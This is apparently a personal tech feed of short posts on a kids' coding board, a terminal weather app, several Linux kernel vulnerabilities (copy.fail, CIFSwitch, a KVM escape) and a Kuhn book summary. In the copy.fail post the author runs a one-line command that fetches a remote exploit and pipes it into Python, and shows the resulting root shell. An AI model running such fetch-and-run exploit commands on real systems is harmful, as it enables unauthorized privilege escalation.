🤖microbit

I've just found quite promising project for kids: https://microbit.org/

There is gui, javascript & python to have some fun with kids. They can start just from GUI and can program it. however initializating is a bit tricky

#DYI

🌧terminal weather app

It draws current weather via ASCII animations. It's driven by real-time weather data.

https://github.com/Veirt/weathr

brew install Veirt/veirt/weathr
mkdir -p ~/Library/Application\ Support/weathr

cat >> ~/Library/Application\ Support/weathr/config.toml <<EOL
hide_hud = false
silent = true
[location]
auto = true
hide = false
[units]
temperature = "celsius"
wind_speed = "kmh"
precipitation = "mm"
EOL

have fun

#ascii

DHCP irl

#fun

💩copy.fail

new extremely bad thing is coming https://copy.fail

I've created the testusr without root/sudo permission and was able to get root

[testusr@prd-ns123snA-03 xxx-automation]$ curl https://copy.fail/exp | python3.12 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731    0   731    0     0   4568      0 --:--:-- --:--:-- --:--:--  4568

[root@prd-ns123snA-03 xxx-automation]# id
uid=0(root) gid=1003(testusr) groups=1003(testusr) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

all kernels since 2017 are affected. it looks like there is workaround if the kernel is not available

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 

have fun

#security #fail

💩 CIFSwitch: a non-universal Linux local root vulnerability


new LPE like root issue just dropped.
CIFSwitch is actually a pretty beautiful chain:
1️⃣ unprivileged user can make cifs.spnego requests
2️⃣ kernel happily accepts them
3️⃣ /usr/sbin/cifs.upcall gets launched as root
4️⃣ attacker controls pid + namespace switching
5️⃣ root process loads attacker-controlled NSS module
6️⃣ gg -> root

the funniest part is that:
- no memory corruption
- no buffer overflow

mostly trust / logic issues between kernel <-> userspace.

affected since ~2007.
many distros exploitable out of the box depending on SELinux/AppArmor policies.

mitigations:
- patch kernel
- remove cifs-utils if unused
- disable unprivileged namespaces
- block cifs module loading

🤔also interesting: author mentions using LLM-assisted graph reasoning to find multi-step vuln chains instead of simple grep/fuzzing.
this part is probably more important long-term than the vuln itself.

https://heyitsas.im/posts/cifswitch/

#security #linux

⌚️apple watch + telegram = ?

It requires

- watchOS >= 26.0
- Telegram app >= 12.8

it's slightly buggy as the most moder software. at least I found(post updated):
1. you can send voice messages, but they are empty without sounds
2. custom stickers are not supported

#ios

💥 16-year-old KVM bug = VM Escape

A new guest-to-host escape vulnerability in Linux KVM https://thehackernews.com/2026/07/16-year-old-linux-kvm-flaw-lets-guest.html & https://nvd.nist.gov/vuln/detail/CVE-2026-53359

I would say it's like Spectre or Meltdown but for virtualization:
1️⃣ A malicious VM can compromise the host kernel
2️⃣ It affects Intel & AMD x86. the bug is in KVM's shadow MMU mechanism
3️⃣ The attack requires:
- root inside the guest VM
- nested virtualization enabled
4️⃣ Public PoC crashes the host. The researcher claims a private exploit achieves full guest -> host RCE.
5️⃣ The fix is one extra condition before reusing a shadow page.

#security #linux

📚 The Structure of Scientific Revolutions

I’ve just finished The Structure of Scientific Revolutions by Thomas Kuhn and noted:

1️⃣ Science doesn’t always move forward step by step. It might be chaotic. Sometimes progress happens in how we see the problem. Frequently news ideas come from nubies in the area

2️⃣ Paradigms matter. Scientists usually work inside an accepted model of how the world works.

3️⃣ Normal science is mostly solving puzzles. Scientists usually don’t question the whole system. They solve problems inside the existing paradigm in the very specific area.

4️⃣ Anomalies are inevitable and crucial. Experiments produce results that theories can’t explain and it’s totally ok.

5️⃣ One anomaly usually changes nothing. Scientists normally try to explain it, ignore it, or improve the existing theory.

6️⃣ Too many anomalies create a crisis. When the existing paradigm fails people start looking for something fundamentally different.

7️⃣ Revolutions change the rules. A new paradigm doesn’t just give a better answer. It can change what questions are considered important and how they should be answered.

8️⃣ Old and new paradigms can be hard to compare. They may use different concepts, assumptions and definitions.

9️⃣ New ideas are not accepted instantly. Evidence matters, but science is also a human process. Communities, education, reputation are important

🔟 After the revolution, the new paradigm becomes normal. The cycle starts again: normal science -> anomalies -> crisis -> revolution -> new normal science.

🤔The interesting part: when something doesn’t fit the model, maybe the problem isn’t the data. Maybe the model is wrong.

#book